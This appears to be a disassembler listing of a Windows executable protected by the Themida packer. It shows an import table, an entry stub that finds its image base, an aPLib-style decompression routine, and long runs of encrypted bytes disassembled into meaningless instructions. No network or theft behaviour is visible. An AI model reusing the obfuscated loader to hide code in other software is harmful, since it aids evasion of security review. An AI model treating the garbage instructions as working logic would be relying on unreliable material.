db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rsrc___ ends ; Section 3. (virtual address 000E0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4E0000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0E0050h, 0E0000h, 3 dup(0) dd 0E0079h, 0E000Ch, 3 dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E1000) ; Virtual size : 00101000 (1052672.) ; Section size in file : 00101000 (1052672.) ; Offset to raw data for section: 000E1000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 4E1000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 43495360h, 41179h, 54140h, 96172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054B46B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054E900 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0054EB76 SIZE 00000049 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E1086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E1041 popa jmp short loc_4E1076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 10h, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4E1041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E104E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E106D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E1074 loc_4E106D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E104E ; --------------------------------------------------------------------------- loc_4E1074: ; CODE XREF: start+57j mov edi, eax loc_4E1076: ; CODE XREF: start+1Bj jmp loc_4E1265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 0E126Ah add ecx, edi jmp short loc_4E1090 ; --------------------------------------------------------------------------- loc_4E1086: ; CODE XREF: start+8j mov eax, offset loc_54B46B mov ecx, offset word_4E126A loc_4E1090: ; CODE XREF: start+70j push eax push ecx call sub_4E111B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E1265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E111B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E1132: ; CODE XREF: sub_4E111B+7Aj ; sub_4E111B+C3j ... add dl, dl jnz short loc_4E113B mov dl, [esi] inc esi adc dl, dl loc_4E113B: ; CODE XREF: sub_4E111B+19j jnb short loc_4E1127 add dl, dl jnz short loc_4E1146 mov dl, [esi] inc esi adc dl, dl loc_4E1146: ; CODE XREF: sub_4E111B+24j jnb short loc_4E1197 xor eax, eax add dl, dl jnz short loc_4E1153 mov dl, [esi] inc esi adc dl, dl loc_4E1153: ; CODE XREF: sub_4E111B+31j jnb loc_4E1238 add dl, dl jnz short loc_4E1162 mov dl, [esi] inc esi adc dl, dl loc_4E1162: ; CODE XREF: sub_4E111B+40j adc eax, eax add dl, dl jnz short loc_4E116D mov dl, [esi] inc esi adc dl, dl loc_4E116D: ; CODE XREF: sub_4E111B+4Bj adc eax, eax add dl, dl jnz short loc_4E1178 mov dl, [esi] inc esi adc dl, dl loc_4E1178: ; CODE XREF: sub_4E111B+56j adc eax, eax add dl, dl jnz short loc_4E1183 mov dl, [esi] inc esi adc dl, dl loc_4E1183: ; CODE XREF: sub_4E111B+61j adc eax, eax jz short loc_4E118D push edi sub edi, eax mov al, [edi] pop edi loc_4E118D: ; CODE XREF: sub_4E111B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j mov eax, 1 loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j add dl, dl jnz short loc_4E11A5 mov dl, [esi] inc esi adc dl, dl loc_4E11A5: ; CODE XREF: sub_4E111B+83j adc eax, eax add dl, dl jnz short loc_4E11B0 mov dl, [esi] inc esi adc dl, dl loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej jb short loc_4E119C sub eax, ebx mov ebx, 1 jnz short loc_4E11E3 mov ecx, 1 loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j add dl, dl jnz short loc_4E11C9 mov dl, [esi] inc esi adc dl, dl loc_4E11C9: ; CODE XREF: sub_4E111B+A7j adc ecx, ecx add dl, dl jnz short loc_4E11D4 mov dl, [esi] inc esi adc dl, dl loc_4E11D4: ; CODE XREF: sub_4E111B+B2j jb short loc_4E11C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j add dl, dl jnz short loc_4E11FA mov dl, [esi] inc esi adc dl, dl loc_4E11FA: ; CODE XREF: sub_4E111B+D8j adc ecx, ecx add dl, dl jnz short loc_4E1205 mov dl, [esi] inc esi adc dl, dl loc_4E1205: ; CODE XREF: sub_4E111B+E3j jb short loc_4E11F1 cmp eax, 7D00h jnb short loc_4E1228 cmp eax, 500h jb short loc_4E1223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1223: ; CODE XREF: sub_4E111B+F8j cmp eax, 7Fh ja short loc_4E122B loc_4E1228: ; CODE XREF: sub_4E111B+F1j add ecx, 2 loc_4E122B: ; CODE XREF: sub_4E111B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E1259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1259: ; CODE XREF: sub_4E111B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E111B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E1265: ; CODE XREF: start:loc_4E1076j ; start+9Dj jmp loc_54B46B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E126A dw 38E9h ; DATA XREF: start+77o db 90h db 34h, 56h, 1 dd 9222AFFAh, 1EF0FE1h, 74736552h, 41CC7261h, 0F42EE270h dd 17C2F978h, 3CA7077h, 1A31AE1h, 52AE3A84h, 0DC21E844h dd 0DE7D2303h, 1FC22445h, 0A46DE957h, 6854807Fh, 64696D65h dd 0FEC8614Dh, 1A622ACh, 0EFFE0BE1h, 0EE11122h, 0AE101BCh dd 2E98E2FBh, 0CEBBAA10h, 33B81078h, 0FA43B887h, 0FC503DFDh dd 2303DC71h, 369177D5h, 0E95D8570h, 35E640CDh, 0EF1BE103h dd 21C58BC7h, 0C2E860D4h, 0ED815D20h, 1034019Fh, 0F5958906h dd 0B50D8830h, 0C98541E9h, 0BD830121h, 71CD5h, 0E88B0C74h dd 0B84CE2E4h, 78C28F09h, 0E3244470h, 20203EB9h, 0E8456A0Ch dd 0F6829A3h, 783749Ah ; --------------------------------------------------------------------------- dec edx loc_4E132D: ; CODE XREF: Themida_:004E13ABj fisttp word ptr [edx] add esp, ds:0D20A894Bh aad 21h jmp near ptr 0EC981550h ; --------------------------------------------------------------------------- db 0FAh, 1 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+1358DEAh], al mov ebx, edx mov dword ptr [ebp-28h], 0E630823h inc eax mov [edi], ebx or [ecx+1D80987Dh], al jz short loc_4E1370 iret ; --------------------------------------------------------------------------- dw 820h dd 93F783E4h, 120CFF10h, 36E1EB43h ; --------------------------------------------------------------------------- loc_4E1370: ; CODE XREF: Themida_:004E135Fj fsubr qword ptr [esi+61h] db 26h or cl, 0C2h add al, 80h inc esi add esp, 2D1FF7Ch dec ecx enter 0FFFF80D6h, 8Dh inc ebp or byte ptr [ebx-38D7F7A3h], 85h sbb [ecx+0A408D50h], ecx rol ebx, 1 mov ds:0B894118h, dl adc al, 81h mov ebp, 755D4006h push edx jecxz short loc_4E13CC test [ebp-7F9BE246h], ecx jnz short loc_4E132D mov cl, [esi] mov ebx, 15B92F4h mov eax, 785437ABh rcl eax, cl stc ja near ptr 0F7C35ECAh pusha scasd retn ; --------------------------------------------------------------------------- inc edi inc esi movsb dec edx mov word ptr [esi+54h], es loc_4E13CC: ; CODE XREF: Themida_:004E13A3j stc inc edx rcl dword ptr [edi+61h], 1 mov al, [eax-30h] ; CODE XREF: Themida_:004E13D4j lock jmp short near ptr loc_4E13D1+1 ; --------------------------------------------------------------------------- adc al, 0EEh inc ebp cld dec ebp adc al, 0EBh add al, 0ADh jns short loc_4E13FA inc esi cmp byte ptr [esi], 40h idiv dword ptr [edx+34DC84A6h] retn ; --------------------------------------------------------------------------- jge short loc_4E13FB jmp short loc_4E1470 ; --------------------------------------------------------------------------- db 21h, 3Eh, 0F8h dd 0F0126D99h db 9, 95h ; --------------------------------------------------------------------------- loc_4E13FA: ; CODE XREF: Themida_:004E13E0j push cs loc_4E13FB: ; CODE XREF: Themida_:004E13EDj hlt ; --------------------------------------------------------------------------- dd 0C14A0210h, 8004F065h, 0E0D1F8D6h, 0C0C27203h, 8ADB3328h dd 8039301Ch, 0A7298FBh, 7A77390Ah, 0E4EB7D05h, 6114CF22h dd 660A0DECh, 1EDE08FEh, 0AC39DBEh, 411A1058h, 0A0B6172h dd 0BD067746h, 30014424h, 0F4ECF05Dh, 2E67D83h, 0CB07236h dd 0A5766EC0h, 0F826AACCh, 8D0E9C83h, 3B01A8D4h, 820FFC55h dd 0B0BD5378h, 387CAA83h, 0C108BAA1h, 5070C1B9h ; --------------------------------------------------------------------------- loc_4E1470: ; CODE XREF: Themida_:004E13EFj cld mov ebp, 0FE80371Ch loc_4E1476: ; CODE XREF: Themida_:004E147Aj lsl eax, [edi+49h] jnz short loc_4E1476 mov ecx, 0B86A8B22h loc_4E1481: ; CODE XREF: Themida_:004E14F3j mov ebx, 0F1FA1101h cmp eax, [edx-3EFD9115h] mov es, word ptr [esi+7F43929h] push ecx jo short loc_4E14FA jle short loc_4E14CD mov edi, [ecx+27DE268Ah] jmp near ptr 8CA7986Ah ; --------------------------------------------------------------------------- dw 6BDBh ; --------------------------------------------------------------------------- jmp short loc_4E14F7 ; --------------------------------------------------------------------------- dw 4DBh ; --------------------------------------------------------------------------- loc_4E14A8: ; CODE XREF: Themida_:004E14D6j db 3Eh pop ss and [edi], edi les eax, [ebx] mov al, [ebp+25h] add eax, 1A093082h and [ecx+51h], eax les eax, [eax] mov ebx, 4FA80DD0h repne popa add [bx+di-1B55h], bh sub dl, 35h lock push esp ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_4E14CD: ; CODE XREF: Themida_:004E1495j imul esp, [edx+2Ch], -3Dh or al, 15h cmp [eax+0], edi jle short loc_4E14A8 or cl, bl xchg eax, esp out dx, al mov edi, 0F6EC0005h pop edx sbb [ebx-49h], ch push edi mov eax, 0D8A9E319h stosb icebp and al, 25h cli jl short loc_4E1502 push cs loopne loc_4E1481 retf ; --------------------------------------------------------------------------- db 34h ; --------------------------------------------------------------------------- loc_4E14F7: ; CODE XREF: Themida_:004E14A4j add [edi-7Eh], ah loc_4E14FA: ; CODE XREF: Themida_:004E1493j cmp [esi+5Bh], ecx xor [esi+0Fh], dh sbb al, 51h loc_4E1502: ; CODE XREF: Themida_:004E14F0j cmp eax, 76D17C04h cmp esp, [ecx+46h] push 75h or [esi], ebp inc esi xchg eax, ebx push cs add cl, [eax-14h] in al, 65h nop push es cmp byte ptr [ebp-7Ch], 0C5h add eax, 3C962A8Eh ; CODE XREF: Themida_:loc_4E1551j call far ptr 45C2h:4855347h sub [ecx+esi*2+0EE78C0Dh], ecx mov ebx, 2BFF30AAh xor dword ptr [edi+4], 341D22C0h rol dword ptr [ecx+edi*8+20753319h], 0BCh aas pop es ja short loc_4E1551 out dx, ax xor [eax+2], dl test eax, 678CE2ECh loc_4E1551: ; CODE XREF: Themida_:004E1545j jg short near ptr loc_4E151C+3 jmp esp ; --------------------------------------------------------------------------- db 40h, 33h, 45h dd 6094E9FAh, 52C46200h, 11254D8Ch, 0B1AA2182h, 425AAB33h dd 56241384h, 825E6000h, 81AA47EEh, 4F052184h, 13B9AA8Ah dd 97522320h, 9E98A43h, 47757800h, 60EAF3F4h, 1E24150Ch dd 181D663Fh, 4800AFE7h, 105CC915h, 2507608Ch, 719BD482h dd 1B55A33Eh, 22190B8Fh, 670E050Ch, 854AA8BCh, 0A600DA8Dh dd 813575DCh, 0E4C6A1E2h, 14D193CCh, 1B90102Bh, 0FD8B5301h dd 0F0CA0B5Ch, 19C33D86h, 0E3DA8C51h, 230AD1C8h, 1D02F498h dd 0BC008E9h, 0E3A57A76h, 98DC1548h, 7EAAEAh, 6CEFB068h dd 59C031F2h, 9AD00E01h, 3793F523h, 67EA5CC0h, 11522D18h dd 0EE91EC81h, 58FC389Bh, 506C3DCAh, 3286BC50h, 0EA20159Ah dd 71494480h, 2C12E578h, 0DA18985Fh, 821E4628h, 2DC2C018h dd 93494500h, 5C34B752h, 0C0100760h, 0AEC882DFh, 0C65726F9h dd 9AF3A080h, 5C2859BBh, 83228F34h, 0C48C3903h, 0E9187B58h dd 494F1512h, 0D804CD00h, 0DEEC4D5Bh, 885D0061h, 7C60144Bh dd 0B41C51ABh, 8240598Ah, 6631D2F7h, 84102836h, 0DEA3322h dd 0B088540Bh, 0A626B97Bh, 8500398Bh, 0C7829290h, 0A8C003B4h dd 0DCE5814Eh, 0DDAF1200h, 8C675CBAh, 505773C8h, 0FE10F2D8h dd 0B2EF0AC4h, 60D02CE7h, 171E8C3Fh, 0D561E600h, 0B883B295h dd 0AF4E1D6Fh, 0EA844643h, 0D7074E05h, 0A295FA82h, 1108120Eh dd 0FE98C31h, 920E880Bh, 0A0FD9B80h, 8103FFABh, 0F6F874C8h dd 0F1D102BBh, 0EA5B56F6h, 5A011864h, 359E07A0h, 12C098BEh dd 4FE30096h, 1982CD87h, 0B40BD695h, 204AEAE2h, 0FA1B147Bh dd 7205026Dh, 0C8D8078Ah, 595C4160h, 4F64FC01h, 7596E354h dd 7C0BC1D3h, 0B00008BEh, 0B9ACCF17h, 8A773E61h, 848E9207h dd 391CC280h, 0E2DF01C3h, 876ACCB2h, 0BD518055h, 446C0E37h dd 23D507C2h, 0E384A4B8h, 9EC94E06h, 0D23081B4h, 63FA47DEh dd 0F2512886h, 701B4156h, 0C760A739h, 65BFEC3h, 6E3FA519h dd 6D00307Ch, 4BA8B9C3h, 58D252EEh, 2F036554h, 0A6B2F66Eh dd 88571000h, 8B701350h, 43210C94h, 84596D41h, 0AB44D21Dh dd 5A318701h, 93D478CEh, 8C290183h, 7D136F43h, 2E980D0h dd 71035647h, 775F02B8h, 7E998320h, 0AFFF8490h, 2AC44C00h dd 0A3EC0FD8h, 47FA3027h, 0A89874E8h, 9232E0FFh, 5A7FB400h dd 4367A34Dh, 58454Eh, 0EEF913ACh, 0A8FD5700h, 0BCF50D63h dd 0DAFA0C68h, 9C38A6D3h, 85898A0Eh, 65FC80ACh, 50809B66h dd 184344D8h, 78B8DAEAh, 7405E5FCh, 0DDAAEED6h, 0C8D7880Dh dd 677611C8h, 0C55051h, 0D2F3B813h, 0DB2A8E18h, 3743F428h dd 0DE49E622h, 3370F3C3h, 8EEBA8C0h, 28A5EA31h, 38BCFF3Fh dd 7D30A9A0h, 0BD6B89D7h, 0B70F3CA5h, 0E7310500h, 0B84AC106h dd 8C733F05h, 0F207CC54h, 2019762Fh, 6B682738h, 58B72AF0h dd 47BD0ADCh, 3EF87B96h, 0E002EE8Ch, 0C918C468h, 3F3966E4h dd 6BE32A86h, 0D4CF00A4h, 7E25FBF8h, 0DEA047B4h, 86059BF4h dd 0D6C98427h, 7C2F1C03h, 0DFB100C3h, 0CD14A132h, 6E00866Dh dd 49E43CA0h, 1D28CAEh, 0FA38F7C5h, 48596A12h, 0C60987C4h dd 10F35184h, 607B4350h, 0FE838963h, 6A65C612h, 0F421E330h dd 8EF02766h, 0B6CF0098h, 3D39AAEAh, 476132FEh, 0EE7017F9h dd 0E1A96840h, 3C79012Ch, 35E065C9h, 9A43D61Ah, 0B39A5802h dd 80C1528Eh, 464A538Ch, 0ED98A109h, 83BE4EF0h, 0B8F077F3h dd 4860A899h, 2AFE6459h, 48A2608Dh, 212509F9h, 13B0C803h dd 0A8D851BCh, 600A47DFh, 8FF05014h, 0A63AC8E9h, 99900F78h dd 0FA29A001h, 0ADF34Eh, 0B8702165h, 0BDF3A2Bh, 0A88FC000h dd 1501371Dh, 0F9121D4Dh, 8519007Fh, 5C1E625Dh, 1B0BFB07h dd 0BA815EC4h, 0EEF08432h, 989E3C44h, 0EDEABD80h, 15A8B7C0h dd 0AC69400h, 6481DF4h, 0B22D3D50h, 84CBA4h, 0BFA59D16h dd 8200C9E9h, 61C71BF4h, 92D8EAF6h, 646C1D4Ch, 0B998550h dd 0AC804079h, 0A4A03432h, 3612D17Ch, 7C048215h, 0FC015DB2h dd 405F77DAh, 6D7C390h, 1A18A360h, 805E9231h, 0FA09030Bh dd 235D522Ah, 0E572EFA8h, 0C1410h, 552F7AADh, 0A3766657h dd 0CBD2D8A8h, 9E8902F3h, 208E4FA6h, 4582846Bh, 5F401829h dd 0CF60008Fh, 67033590h, 0ED0944F3h, 0E6D1B16h, 6F3A461Ch dd 780B3040h, 5062FDE1h, 40A80509h, 605404D6h, 0BC3EF440h dd 0A9398C30h, 683A818Ah, 3FBEE58Eh, 48926AC9h, 0FF340437h dd 974D0455h, 643014C5h, 99C57B6h, 6BD3C11Bh, 2524700h dd 20B1D6CCh, 31432F03h, 0B348101Ch, 6D9B136Eh, 0DEEE2420h dd 20DD81AAh, 43116B7Ch, 84035144h, 69FFCAFAh, 0D6C28109h dd 0CB48A056h, 6026DFA3h, 0DE9B10A5h, 12630A3Fh, 0A1BABEB8h dd 498C5949h, 0D491620Bh, 260032B8h, 34073FAh, 0E27B216Eh dd 0D95900D1h, 47DD1A16h, 48C07246h, 0B6AB262h, 0D7801213h dd 0E3EC4653h, 931F5955h, 5A804503h, 6125366Dh, 0B053FB9h dd 0E0D7F414h, 180C288h, 3D3EB26Ch, 44BF0C13h, 5149F346h dd 9C5BF42Ch, 17C1262h, 0C6CAEE63h, 58049086h, 28BF122h dd 8016F96Ch, 6C4830DDh, 7544EBCCh, 0A611141Ah, 45019CB6h dd 4706F2Fh, 0FB8460AFh, 0D24391C1h, 0DC64A10Ah, 5FDD8856h dd 479C620h, 7838FED7h, 0CDA08353h, 0E3393Ah, 0BF39D184h dd 586A7368h, 9710508Eh, 0EF90257h, 0A7062972h, 0F661F4F8h dd 4434A87Ah, 9E3A1543h, 7E18E44Bh, 4D2D59C4h, 10F81CE4h dd 0CC167426h, 47109828h, 8A007AE2h, 8EF8E390h, 6200F43Fh dd 8B6FDE26h, 88475A9Eh, 0BE00F70Bh, 17C2A82h, 0F61AEA2h dd 1DA59E92h, 38852602h, 0F50F08CCh, 1213BF43h, 480EDC04h dd 0A84CF810h, 3C1622C7h, 3718DEB1h, 4B900F95h, 0AC72248Eh dd 854F8D60h, 0A2903019h, 12C1C340h, 5E104537h, 6D0722CCh dd 8DE95C4Ah, 92EAA16Eh, 0F0A89DC3h, 4FC62000h, 2DE8348h dd 928ED59Bh, 4D70E8CFh, 0BED20901h, 14221A5Fh, 18645A82h dd 58A7B800h, 873ECE06h, 8FE60012h, 4E227D6h, 6C0521A4h dd 4EFEBE08h, 6084F489h, 4BC9F86h, 0F0894743h, 0F8AD5810h dd 0FBA00196h, 29D24D99h, 5A884194h, 0D4798042h, 0C7B102EFh dd 0E350368h, 9FF42BBFh, 2F24AD90h, 0D8666D00h, 76F26EAAh dd 0C1494B5h, 2141435Ah, 0C68A0700h, 0D01D6977h, 819004Ah dd 0BD603CC0h, 7C284315h, 77454C52h, 5F40E21h, 9F9B0985h dd 49818148h, 805AF851h, 57BFA59h, 359BF325h, 81392A0Bh dd 5726C4h, 18022EB6h, 10475631h, 6E00E6C7h, 0F97B4EE9h dd 0A4D7CC01h, 0F74A084h, 2B158058h, 485048DEh, 77AEB700h dd 0FB545305h, 54A28CA4h, 16E7BFC0h, 368ED612h, 0E3F55481h dd 0D17AD3h, 0BBC21364h, 0CAE04EC4h, 2C563D00h, 0FAC5FE0Bh dd 5F4B0315h, 3AF65416h, 0F5505800h, 4085DF38h, 80983B66h dd 9C83A448h, 0CDDBEE4Bh, 0B82690Ch, 7FB4C17Dh, 4E95008Dh dd 9BEAA96Bh, 0EFE2C207h, 5CD9301h, 6187D980h, 45D22834h dd 0C7D6F167h, 0C4E36129h, 0DF22AE00h, 0ACF4Ah, 70C48230h dd 0C0D526AAh, 6E57DE09h, 0C4500819h, 0FA5F5502h, 0DD088069h dd 8462663Fh, 0C9AF9488h, 6083AC34h, 4D52F081h, 0B6DAFE00h dd 0F2408094h, 50C1FC10h, 0A29F02Fh, 839BBAB3h, 5BDB08D0h dd 0F6D2F303h, 6C91ECE8h, 0C714697Bh, 47C8143Ch, 884C1A47h dd 0F17F600Ch, 2B2293DBh, 3C005871h, 0D8B69506h, 769B027Eh dd 0D4FC1Ch, 8E2DB33Bh dd 17F2684Dh, 60FF3237h, 84B26684h, 0EC80D850h, 21C61EB1h dd 6B594081h, 1A7168F2h, 0C4A5CE26h, 30A3DA08h, 48337018h dd 807BBB00h, 499058EAh, 5141655Ah, 99CB00F9h, 0E92B6871h dd 3800F471h, 6EE0DE9Fh, 50DA317Ah, 0EA4380B3h, 594760F2h dd 0BD9BE67Dh, 21C9F800h, 23CD64Ah, 9668E427h, 0DDCE40F8h dd 20FA960Fh, 6CBD9D05h, 980493B9h, 0F20BAB12h, 0E06B9801h dd 0D90C20F9h, 44E4A444h, 0D2005655h, 0F17E91AEh, 8772Fh dd 1239FA71h, 4DE3F450h, 0E14129CFh, 9EA5F5C2h, 0E73F30h dd 800CDB21h, 259B6323h, 1EA26002h, 40AE856Ah, 805327E0h dd 1800B655h, 76E375CCh, 53D80229h, 0B0880462h, 16839880h dd 81AA7h, 1F74E541h, 0FBAF9CC8h, 18A15730h, 30AD63D8h dd 4840D969h, 2CB84556h, 0B2ACD60Ch, 1775906h, 0D25D7E7Dh dd 0F10EA644h, 0C694F043h, 0C165350Fh, 1DF966BDh, 0B0ED1D38h dd 23714F74h, 83E98987h, 1043193Ch, 31320430h, 66C00413h dd 1098525h, 0A668C281h, 3076B2F3h, 0E5185D89h, 0BBB87C7Fh dd 1E427852h, 0C9DF3Bh, 2800638h, 0E600CD3Ah, 0D662DE1h dd 1B0CF9FDh, 2997E543h, 9FDAB6E1h, 68805FC8h, 0D049D299h dd 46BD0D2Ah, 8890E9D4h, 0E1A84A8h, 0A6A1F189h, 0D253F0BDh dd 8A648F41h, 8274390h, 0A1EDE142h, 88E8E7BCh, 0DF0A41BCh dd 81C42CE5h, 1D44D56Ah, 0F79181AFh, 0ECE85681h, 0C6667880h dd 0A31D5C41h, 0D2A21C1h, 599E6155h, 0BE818A27h, 9B928518h dd 18E05D5Bh, 0E5E0A8DFh, 317181EFh, 0F0A3862Ch, 0D938AC53h dd 2D0A720h, 0BB9706EFh, 40A45393h, 0B422790Ah, 0AA89F468h dd 0E22411D5h, 0EA080882h, 78C366EDh, 851587E0h, 63DA2E03h 